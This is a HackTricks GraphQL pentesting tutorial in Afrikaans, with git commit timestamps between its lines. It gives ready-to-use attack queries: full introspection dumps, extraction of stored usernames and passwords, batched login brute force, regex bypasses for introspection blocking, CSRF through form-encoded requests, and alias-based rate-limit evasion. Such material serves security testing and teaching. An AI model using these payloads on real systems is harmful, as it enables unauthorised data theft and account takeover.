hacktricks/network-services-pentesting/pentesting-web/graphql.md

510 lines
27 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# GraphQL
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2023-12-31 01:24:39 +00:00
2024-02-11 02:07:06 +00:00
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 02:07:06 +00:00
## Inleiding
2024-02-11 02:07:06 +00:00
GraphQL word **beklemtoon** as 'n **doeltreffende alternatief** vir REST API, wat 'n vereenvoudigde benadering bied vir die opvraag van data vanaf die agterkant. In teenstelling met REST, wat dikwels verskeie versoekings oor verskillende eindpunte vereis om data te versamel, maak GraphQL dit moontlik om alle benodigde inligting deur 'n **enkele versoek** te haal. Hierdie stroomlynproses bied aansienlike **voordele vir ontwikkelaars** deur die ingewikkeldheid van hul data-opvraagprosesse te verminder.
2024-02-11 02:07:06 +00:00
## GraphQL en Sekuriteit
2024-02-11 02:07:06 +00:00
Met die opkoms van nuwe tegnologieë, insluitend GraphQL, ontstaan ook nuwe sekuriteitskwesbaarhede. 'n Belangrike punt om op te let is dat **GraphQL nie outomaties outentiseringsmeganismes insluit nie**. Dit is die verantwoordelikheid van ontwikkelaars om sulke sekuriteitsmaatreëls te implementeer. Sonder behoorlike outentisering kan GraphQL-eindpunte sensitiewe inligting aan ongeoutentiseerde gebruikers blootstel, wat 'n aansienlike sekuriteitsrisiko inhou.
2024-02-11 02:07:06 +00:00
### Gids vir Brute Force-aanvalle en GraphQL
2024-02-11 02:07:06 +00:00
Om blootgestelde GraphQL-instanties te identifiseer, word die insluiting van spesifieke paaie in brute force-aanvalle aanbeveel. Hierdie paaie is:
2024-02-08 21:36:15 +00:00
- `/graphql`
- `/graphiql`
- `/graphql.php`
- `/graphql/console`
- `/api`
- `/api/graphql`
- `/graphql/api`
- `/graphql/graphql`
2023-01-20 10:47:38 +00:00
2024-02-11 02:07:06 +00:00
Die identifisering van oop GraphQL-instanties maak dit moontlik om ondersteunde navrae te ondersoek. Dit is noodsaaklik om die data wat toeganklik is deur die eindpunt te verstaan. GraphQL se introspeksiestelsel fasiliteer dit deur die navrae wat 'n skema ondersteun, in detail te beskryf. Vir meer inligting hieroor, verwys na die GraphQL-dokumentasie oor introspeksie: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
2024-02-11 02:07:06 +00:00
### Vingerafdruk
2022-06-21 16:32:08 +00:00
2024-02-11 02:07:06 +00:00
Die instrument [**graphw00f**](https://github.com/dolevf/graphw00f) is in staat om te bepaal watter GraphQL-enjin in 'n bediener gebruik word en druk dan nuttige inligting vir die sekuriteitsouditeur af.
2022-06-21 16:32:08 +00:00
2024-02-11 02:07:06 +00:00
#### Universele navrae <a href="#universal-queries" id="universal-queries"></a>
2024-02-11 02:07:06 +00:00
Om te bepaal of 'n URL 'n GraphQL-diens is, kan 'n **universele navraag**, `query{__typename}`, gestuur word. As die respons `{"data": {"__typename": "Query"}}` insluit, bevestig dit dat die URL 'n GraphQL-eindpunt huisves. Hierdie metode maak gebruik van GraphQL se `__typename`-veld, wat die tipe van die ondervraagde objek onthul.
2024-02-08 21:36:15 +00:00
```javascript
query{__typename}
```
2024-02-11 02:07:06 +00:00
### Basiese Enumerasie
2024-02-11 02:07:06 +00:00
Graphql ondersteun gewoonlik **GET**, **POST** (x-www-form-urlencoded) en **POST**(json). Alhoewel dit vir sekuriteit aanbeveel word om slegs json toe te laat om CSRF-aanvalle te voorkom.
2024-02-11 02:07:06 +00:00
#### Introspeksie
2024-02-11 02:07:06 +00:00
Om introspeksie te gebruik om skemasinligting te ontdek, ondersoek die `__schema` veld. Hierdie veld is beskikbaar op die wortel tipe van alle navrae.
```bash
query={__schema{types{name,fields{name}}}}
```
2024-02-11 02:07:06 +00:00
Met hierdie navraag sal jy die naam van al die tipes wat gebruik word, vind:
![](<../../.gitbook/assets/image (202).png>)
{% code overflow="wrap" %}
```bash
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
```
{% endcode %}
2024-02-11 02:07:06 +00:00
Met hierdie navraag kan jy al die tipes, hul velde en hul argumente (en die tipe van die argumente) onttrek. Dit sal baie nuttig wees om te weet hoe om die databasis te ondervra.
2022-09-30 10:43:59 +00:00
![](<../../.gitbook/assets/image (207) (3).png>)
2024-02-11 02:07:06 +00:00
**Foute**
2024-02-11 02:07:06 +00:00
Dit is interessant om te weet of die **foute** gaan **verskyn** aangesien dit nuttige **inligting** kan verskaf.
```
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
```
2022-10-22 15:26:54 +00:00
![](<../../.gitbook/assets/image (205) (1).png>)
2024-02-11 02:07:06 +00:00
**Bepaal Databasis Skema deur Introspeksie**
{% hint style="info" %}
2024-02-11 02:07:06 +00:00
As introspeksie geaktiveer is, maar die bogenoemde navraag nie uitgevoer word nie, probeer om die `onOperation`, `onFragment`, en `onField` riglyne uit die navraagstruktuur te verwyder.
{% endhint %}
```bash
2024-02-11 02:07:06 +00:00
#Full introspection query
query IntrospectionQuery {
2024-02-11 02:07:06 +00:00
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
2024-02-11 02:07:06 +00:00
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
2024-02-11 02:07:06 +00:00
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
2024-02-11 02:07:06 +00:00
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
```
2024-02-11 02:07:06 +00:00
Inline introspeksie navraag:
```
2021-07-28 10:54:41 +00:00
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
```
2024-02-11 02:07:06 +00:00
Die laaste reël kode is 'n graphql-navraag wat alle meta-inligting van die graphql sal dump (voorwerpe name, parameters, tipes...)
2021-07-28 10:54:41 +00:00
![](<../../.gitbook/assets/image (206).png>)
2024-02-11 02:07:06 +00:00
As introspeksie geaktiveer is, kan jy [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) gebruik om in 'n GUI al die opsies te sien.
2021-04-14 15:01:04 +00:00
2024-02-11 02:07:06 +00:00
### Navraag
2024-02-11 02:07:06 +00:00
Nou dat ons weet watter soort inligting binne die databasis gestoor word, laat ons probeer om **sekere waardes te onttrek**.
2024-02-11 02:07:06 +00:00
In die introspeksie kan jy vind **watter voorwerp jy direk kan navraag doen** (omdat jy nie 'n voorwerp kan navraag doen net omdat dit bestaan nie). In die volgende prentjie kan jy sien dat die "_queryType_" "_Query_" genoem word en dat een van die velde van die "_Query_" voorwerp "_flags_" is, wat ook 'n tipe voorwerp is. Jy kan dus die vlag-voorwerp navraag doen.
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-17-48.png)
2024-02-11 02:07:06 +00:00
Let daarop dat die tipe van die navraag "_flags_" "_Flags_" is, en hierdie voorwerp word as volg gedefinieer:
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-22-57.png)
2024-02-11 02:07:06 +00:00
Jy kan sien dat die "_Flags_" voorwerpe saamgestel is uit **naam** en **waarde**. Jy kan dus al die name en waardes van die vlae kry met die navraag:
```javascript
query={flags{name, value}}
```
2024-02-11 02:07:06 +00:00
Let wel dat as die **objek om te ondervra** 'n **primitiewe** **tipe** soos **string** is, soos in die volgende voorbeeld
![](<../../.gitbook/assets/image (441).png>)
2024-02-11 02:07:06 +00:00
Jy kan dit net ondervra met:
```javascript
query={hiddenFlags}
```
2024-02-11 02:07:06 +00:00
In 'n ander voorbeeld waar daar 2 voorwerpe binne die "_Query_" tipe voorwerp was: "_user_" en "_users_". As hierdie voorwerpe nie enige argument nodig het om te soek nie, kan jy **alle inligting van hulle kry** deur net vir die data te vra wat jy wil hê. In hierdie voorbeeld van die internet kan jy die gestoorde gebruikersname en wagwoorde onttrek:
![](<../../.gitbook/assets/image (208).png>)
2024-02-11 02:07:06 +00:00
Maar in hierdie voorbeeld kry jy 'n **fout** as jy dit probeer doen:
![](<../../.gitbook/assets/image (210).png>)
2024-02-11 02:07:06 +00:00
Dit lyk asof dit op een of ander manier sal soek deur die "_**uid**_" argument van die tipe _**Int**_ te gebruik. In elk geval het ons alreeds geweet dat in die [Basiese Enumerasie](graphql.md#basic-enumeration) afdeling 'n navraag voorgestel is wat ons al die nodige inligting gewys het: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
2024-02-11 02:07:06 +00:00
As jy die verskafte prentjie lees wanneer ek daardie navraag uitvoer, sal jy sien dat "_**user**_" die **arg** "_**uid**_" van die tipe _Int_ gehad het.
2024-02-11 02:07:06 +00:00
Dus, deur 'n ligte _**uid**_ bruteforce uit te voer, het ek gevind dat in _**uid**=**1**_ 'n gebruikersnaam en 'n wagwoord opgehaal is:\
`query={user(uid:1){user,password}}`
![](<../../.gitbook/assets/image (211).png>)
2024-02-11 02:07:06 +00:00
Let daarop dat ek **ontdek** het dat ek vir die **parameters** "_**user**_" en "_**password**_" kon vra omdat as ek probeer soek vir iets wat nie bestaan nie (`query={user(uid:1){noExists}}`) kry ek hierdie fout:
![](<../../.gitbook/assets/image (213).png>)
2024-02-11 02:07:06 +00:00
En tydens die **enumerasie fase** het ek ontdek dat die "_**dbuser**_" voorwerp as velde "_**user**_" en "_**password**_ het.
2024-02-11 02:07:06 +00:00
**Navraag string dump truuk (dankie aan @BinaryShadow\_)**
2024-02-11 02:07:06 +00:00
As jy kan soek volgens 'n string tipe, soos: `query={theusers(description: ""){username,password}}` en jy **soek vir 'n leë string**, sal dit **alle data dump**. (_Let wel, hierdie voorbeeld het niks te doen met die voorbeeld van die tutoriale nie, vir hierdie voorbeeld aanvaar ons dat jy kan soek deur "**theusers**" te gebruik volgens 'n String veld genaamd "**description**"_).
2024-02-11 02:07:06 +00:00
### Soek
2021-03-13 17:03:22 +00:00
2024-02-11 02:07:06 +00:00
In hierdie opset bevat 'n **databasis** **persone** en **flieks**. **Persone** word geïdentifiseer deur hul **e-pos** en **naam**; **flieks** deur hul **naam** en **gradering**. **Persone** kan vriende wees met mekaar en het ook flieks, wat verhoudings binne die databasis aandui.
2021-03-13 17:03:22 +00:00
2024-02-11 02:07:06 +00:00
Jy kan persone **soek** volgens die **naam** en hul e-posse kry:
2021-03-13 17:03:22 +00:00
```javascript
{
2024-02-11 02:07:06 +00:00
searchPerson(name: "John Doe") {
email
}
2021-03-13 17:03:22 +00:00
}
```
2024-02-11 02:07:06 +00:00
Jy kan **soek** na persone **volgens** hul **naam** en hul **geabonneerde** **flieks** kry:
2021-03-13 17:03:22 +00:00
```javascript
{
2024-02-11 02:07:06 +00:00
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
2021-03-13 17:03:22 +00:00
}
```
2024-02-11 02:07:06 +00:00
Merk op hoe dit aangedui word om die `name` van die `subscribedMovies` van die persoon te herwin.
2021-03-13 17:03:22 +00:00
2024-02-11 02:07:06 +00:00
Jy kan ook **veral verskeie objekte gelyktydig soek**. In hierdie geval word 'n soektog na 2 flieks gedoen:
2021-03-13 17:03:22 +00:00
```javascript
{
2024-02-11 02:07:06 +00:00
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
2021-03-13 17:03:22 +00:00
}r
```
2024-02-11 02:07:06 +00:00
Of selfs **verhoudings van verskeie verskillende voorwerpe deur gebruik te maak van aliase**:
2021-03-13 17:03:22 +00:00
```javascript
{
2024-02-11 02:07:06 +00:00
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
2021-03-13 17:03:22 +00:00
}
```
2024-02-11 02:07:06 +00:00
### Mutaties
2021-03-13 17:03:22 +00:00
2024-02-11 02:07:06 +00:00
**Mutaties word gebruik om veranderinge aan die bedienerkant te maak.**
2021-03-13 16:07:57 +00:00
2024-02-11 02:07:06 +00:00
In die **introspeksie** kan jy die **verklaarde** **mutaties** vind. In die volgende prentjie word die "_MutationType_" genoem "_Mutation_" en die "_Mutation_" objek bevat die name van die mutasies (soos "_addPerson_" in hierdie geval):
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-26-27.png)
2024-02-11 02:07:06 +00:00
In hierdie opset bevat 'n **databasis** **persone** en **flieks**. **Persone** word geïdentifiseer deur hul **e-pos** en **naam**; **flieks** deur hul **naam** en **gradering**. **Persone** kan vriende wees met mekaar en het ook flieks, wat verhoudings binne die databasis aandui.
2021-03-13 16:07:57 +00:00
2024-02-11 02:07:06 +00:00
'n Mutasie om nuwe flieks in die databasis te **skep** kan soos die volgende wees (in hierdie voorbeeld word die mutasie "addMovie" genoem):
2021-03-13 16:07:57 +00:00
```javascript
mutation {
2024-02-11 02:07:06 +00:00
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
2021-03-13 16:07:57 +00:00
}
```
2024-02-11 02:07:06 +00:00
**Let daarop hoe beide die waardes en tipe van data in die navraag aangedui word.**
2021-03-13 16:07:57 +00:00
2024-02-11 02:07:06 +00:00
Daarbenewens ondersteun die databasis 'n **mutasie**-operasie, genaamd `addPerson`, wat die skepping van **persone** saam met hul assosiasies tot bestaande **vriende** en **flieks** moontlik maak. Dit is belangrik om daarop te let dat die vriende en flieks reeds in die databasis moet bestaan voordat hulle aan die nuutgeskepte persoon gekoppel kan word.
2021-03-13 16:07:57 +00:00
```javascript
mutation {
2024-02-11 02:07:06 +00:00
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
2021-03-13 16:07:57 +00:00
}
```
2022-05-01 16:57:45 +00:00
### Batching brute-force in 1 API request
2024-02-11 02:07:06 +00:00
Hierdie inligting is geneem vanaf [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
Verifikasie deur middel van GraphQL API met **gelyktydige stuur van baie navrae met verskillende geloofsbriewe** om dit te toets. Dit is 'n klassieke brute force-aanval, maar nou is dit moontlik om meer as een login/wagwoord-paar per HTTP-aanvraag te stuur as gevolg van die GraphQL-batchingfunksie. Hierdie benadering sal eksterne tariefmoniteringsprogramme laat dink dat alles reg is en dat daar geen brute force-bot is wat wagwoorde probeer raai nie.
2024-02-11 02:07:06 +00:00
Hieronder vind jy die eenvoudigste demonstrasie van 'n aansoekverifikasie-aanvraag, met **3 verskillende e-pos/wagwoord-pare op 'n slag**. Dit is vanselfsprekend moontlik om duisende in een enkele aanvraag op dieselfde manier te stuur:
2022-10-22 15:26:54 +00:00
![](<../../.gitbook/assets/image (182) (1).png>)
2024-02-11 02:07:06 +00:00
Soos ons kan sien uit die antwoordskermkiekie, het die eerste en derde aanvrae _null_ teruggegee en die ooreenstemmende inligting in die _error_ -gedeelte weerspieël. Die **tweede mutasie het die korrekte verifikasie** -data gehad en die antwoord het die korrekte verifikasie-sessie-token.
![](<../../.gitbook/assets/image (119) (1).png>)
2024-02-11 02:07:06 +00:00
## GraphQL Sonder Introspeksie
2022-09-05 09:01:26 +00:00
2024-02-11 02:07:06 +00:00
Meer en meer **graphql-eindpunte deaktiveer introspeksie**. Die foute wat graphql gooi wanneer 'n onverwagte versoek ontvang word, is egter genoeg vir gereedskap soos [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) om die meeste van die skema te herskep.
2022-09-05 09:01:26 +00:00
2024-02-11 02:07:06 +00:00
Verder, die Burp Suite-uitbreiding [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observeer GraphQL API-aanvrae wat deur Burp gaan** en **bou** 'n interne GraphQL **skema** met elke nuwe navraag wat dit sien. Dit kan ook die skema blootstel vir GraphiQL en Voyager. Die uitbreiding gee 'n vals antwoord wanneer dit 'n introspeksie-navraag ontvang. As gevolg hiervan wys GraphQuail alle navrae, argumente en velde wat beskikbaar is vir gebruik binne die API. Vir meer inligting [**kyk hierdie**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
2022-09-05 09:01:26 +00:00
2024-02-11 02:07:06 +00:00
'n Goeie **woordelys** om [**GraphQL-entiteite te ontdek kan hier gevind word**](https://github.com/Escape-Technologies/graphql-wordlist?).
### Bypassing GraphQL introspection defences <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
2024-02-08 21:36:15 +00:00
### **Bypassing GraphQL Introspection Defenses**
2024-02-11 02:07:06 +00:00
Om beperkings op introspeksie-navrae in API's te omseil, is dit effektief om 'n **spesiale karakter na die `__schema` sleutelwoord** in te voeg. Hierdie metode maak gebruik van algemene ontwikkelaarsoorsigte in regex-patrone wat daarop gemik is om introspeksie te blokkeer deur te fokus op die `__schema` sleutelwoord. Deur karakters soos **spasies, nuwe lyne en kommas** by te voeg, wat GraphQL ignoreer maar moontlik nie in regex verreken word nie, kan beperkings omseil word. Byvoorbeeld, 'n introspeksie-navraag met 'n nuwe lyn na `__schema` mag sulke verdedigings omseil:
```bash
2024-02-08 21:36:15 +00:00
# Example with newline to bypass
2024-02-11 02:07:06 +00:00
{
"query": "query{__schema
{queryType{name}}}"
}
```
2024-02-11 02:07:06 +00:00
Indien onsuksesvol, oorweeg alternatiewe versoekmetodes, soos **GET-versoeke** of **POST met `x-www-form-urlencoded`**, aangesien beperkings moontlik slegs op POST-versoeke van toepassing kan wees.
2024-02-11 02:07:06 +00:00
### **Ontdekking van Blootgestelde GraphQL-Strukture**
2024-02-11 02:07:06 +00:00
Wanneer introspeksie gedeaktiveer is, is dit 'n nuttige strategie om die bronkode van die webwerf te ondersoek vir vooraf gelaaide navrae in JavaScript-biblioteke. Hierdie navrae kan gevind word deur die `Bronne`-tabblad in die ontwikkelaarshulpmiddels te gebruik, wat insig gee in die API se skema en moontlik **blootgestelde sensitiewe navrae** onthul. Die opdragte om binne die ontwikkelaarshulpmiddels te soek, is:
```javascript
Inspect/Sources/"Search all files"
file:* mutation
file:* query
```
2022-05-01 16:57:45 +00:00
## CSRF in GraphQL
2021-06-09 11:30:46 +00:00
2024-02-11 02:07:06 +00:00
As jy nie weet wat CSRF is nie, lees die volgende bladsy:
2021-06-09 11:30:46 +00:00
{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %}
[csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md)
{% endcontent-ref %}
2021-06-09 11:30:46 +00:00
2024-02-11 02:07:06 +00:00
Daar buite sal jy verskeie GraphQL-eindpunte vind wat **gekonfigureer is sonder CSRF-tokens**.
2021-06-09 11:30:46 +00:00
2024-02-11 02:07:06 +00:00
Let daarop dat GraphQL-versoeke gewoonlik gestuur word deur POST-versoeke te gebruik met die Content-Type **`application/json`**.
2021-06-09 11:30:46 +00:00
```javascript
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
```
2024-02-11 02:07:06 +00:00
Echter, die meeste GraphQL eindpunte ondersteun ook **`form-urlencoded` POST-aanvrae:**
2021-06-09 11:30:46 +00:00
```javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
```
2024-02-11 02:07:06 +00:00
Daarom, aangesien CSRF-versoeke soos die vorige een **sonder vooraanvraagversoeke** gestuur word, is dit moontlik om **veranderings** in die GraphQL te maak deur 'n CSRF te misbruik.
2021-06-09 11:30:46 +00:00
2024-02-11 02:07:06 +00:00
Let egter daarop dat die nuwe verstekkoekiewaarde van die `samesite`-vlag van Chrome `Lax` is. Dit beteken dat die koekie slegs gestuur sal word van 'n derde party-web in GET-versoeke.
2021-08-03 11:52:36 +00:00
2024-02-11 02:07:06 +00:00
Let daarop dat dit gewoonlik moontlik is om die **navraagversoek** ook as 'n **GET**-versoek te stuur en die CSRF-token mag nie in 'n GET-versoek gevalideer word nie.
2021-08-03 11:52:36 +00:00
2024-02-11 02:07:06 +00:00
Daarbenewens kan dit moontlik wees om inhoud van die GraphQL-eindpunt te eksfiltreer deur die gebruikerslegitimasie te misbruik deur 'n [**XS-Soek**](../../pentesting-web/xs-search.md) **aanval** te misbruik.
2021-06-09 11:30:46 +00:00
2024-02-11 02:07:06 +00:00
Vir meer inligting, **kyk na die** [**oorspronklike berig hier**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
2021-06-09 11:30:46 +00:00
2024-02-11 02:07:06 +00:00
## Magtiging in GraphQL
2022-07-21 20:01:55 +00:00
2024-02-11 02:07:06 +00:00
Baie GraphQL-funksies wat op die eindpunt gedefinieer is, mag slegs die outentifikasie van die versoeker nagaan, maar nie magtiging nie.
2024-02-11 02:07:06 +00:00
Die wysiging van navraaginskrywingsveranderlikes kan lei tot die **uitlek** van sensitiewe rekeningbesonderhede [leaked](https://hackerone.com/reports/792927).
2024-02-11 02:07:06 +00:00
Mutering kan selfs lei tot rekeningsoorname deur te probeer om ander rekeningdata te wysig.
```javascript
{
2024-02-11 02:07:06 +00:00
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
```
2024-02-11 02:07:06 +00:00
### Omseil outorisasie in GraphQL
2022-07-31 22:37:48 +00:00
2024-02-11 02:07:06 +00:00
[Deur navrae aan mekaar te koppel](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) kan 'n swak outentifikasie stelsel omseil word.
2024-02-11 02:07:06 +00:00
In die onderstaande voorbeeld kan jy sien dat die operasie "forgotPassword" is en dat dit slegs die forgotPassword navraag wat daarmee geassosieer word, moet uitvoer. Dit kan omseil word deur 'n navraag aan die einde toe te voeg, in hierdie geval voeg ons "register" en 'n gebruikersveranderlike by sodat die stelsel dit as 'n nuwe gebruiker kan registreer.
2022-09-05 09:01:26 +00:00
<figure><img src="../../.gitbook/assets/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
2024-02-11 02:07:06 +00:00
## Omseilings van tariefgrense deur gebruik te maak van aliase in GraphQL
2024-02-11 02:07:06 +00:00
In GraphQL is aliase 'n kragtige funksie wat dit moontlik maak om **eienskappe eksplisiet te benoem** wanneer 'n API-versoek gedoen word. Hierdie vermoë is veral nuttig vir die herwinning van **veralgehele van dieselfde tipe** objek binne 'n enkele versoek. Aliase kan gebruik word om die beperking te oorkom wat voorkom dat GraphQL-objekte meerdere eienskappe met dieselfde naam het.
2024-02-11 02:07:06 +00:00
Vir 'n gedetailleerde begrip van GraphQL aliase, word die volgende bron aanbeveel: [Aliase](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
2024-02-11 02:07:06 +00:00
Terwyl die primêre doel van aliase is om die noodsaaklikheid van talle API-aanroepe te verminder, is daar 'n onbedoelde gebruik waar aliase gebruik kan word om brute force aanvalle op 'n GraphQL-eindpunt uit te voer. Dit is moontlik omdat sommige eindpunte beskerm word deur tariefgrense wat ontwerp is om brute force aanvalle te beperk deur die **aantal HTTP-versoeke** te beperk. Hierdie tariefgrense hou egter nie rekening met die aantal operasies binne elke versoek nie. Gegewe dat aliase die insluiting van verskeie navrae in 'n enkele HTTP-versoek toelaat, kan dit sulke tariefgrense omseil.
2024-02-11 02:07:06 +00:00
Oorweeg die onderstaande voorbeeld wat illustreer hoe gealiaseerde navrae gebruik kan word om die geldigheid van winkel afslagkodes te verifieer. Hierdie metode kan tariefgrense omseil deurdat dit verskeie navrae in een HTTP-versoek saamstel, wat moontlik maak om gelyktydig die geldigheid van verskeie afslagkodes te verifieer.
```bash
2024-02-08 21:36:15 +00:00
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
2024-02-11 02:07:06 +00:00
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
```
2024-02-11 02:07:06 +00:00
## Gereedskap
2024-02-11 02:07:06 +00:00
### Kwesbaarheidsskanners
2024-02-11 02:07:06 +00:00
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Toolkit wat gebruik kan word om skemas te gryp en te soek vir sensitiewe data, toets outorisasie, skema-bruteforce, en paaie na 'n gegewe tipe te vind.
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Kan gebruik word as 'n afsonderlike of [Burp-uitbreiding](https://github.com/doyensec/inql).
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Kan ook gebruik word as 'n CLI-kliënt om aanvalle outomaties te outomatiseer.
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Gereedskap wat die verskillende maniere lys om 'n gegewe tipe in 'n GraphQL-skema te bereik.
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp-uitbreiding vir gevorderde GraphQL-toetsing. Die _**Scanner**_ is die kern van InQL v5.0, waar jy 'n GraphQL-eindpunt of 'n plaaslike introspeksie-skemabestand kan analiseer. Dit genereer outomaties alle moontlike navrae en mutasies, en organiseer dit in 'n gestruktureerde weergawe vir jou analise. Die _**Attacker**_ komponent stel jou in staat om batery-aanvalle op GraphQL uit te voer, wat nuttig kan wees om swak geïmplementeerde tempo-limiete te omseil.
2024-02-11 02:07:06 +00:00
### Kliënte
2024-02-11 02:07:06 +00:00
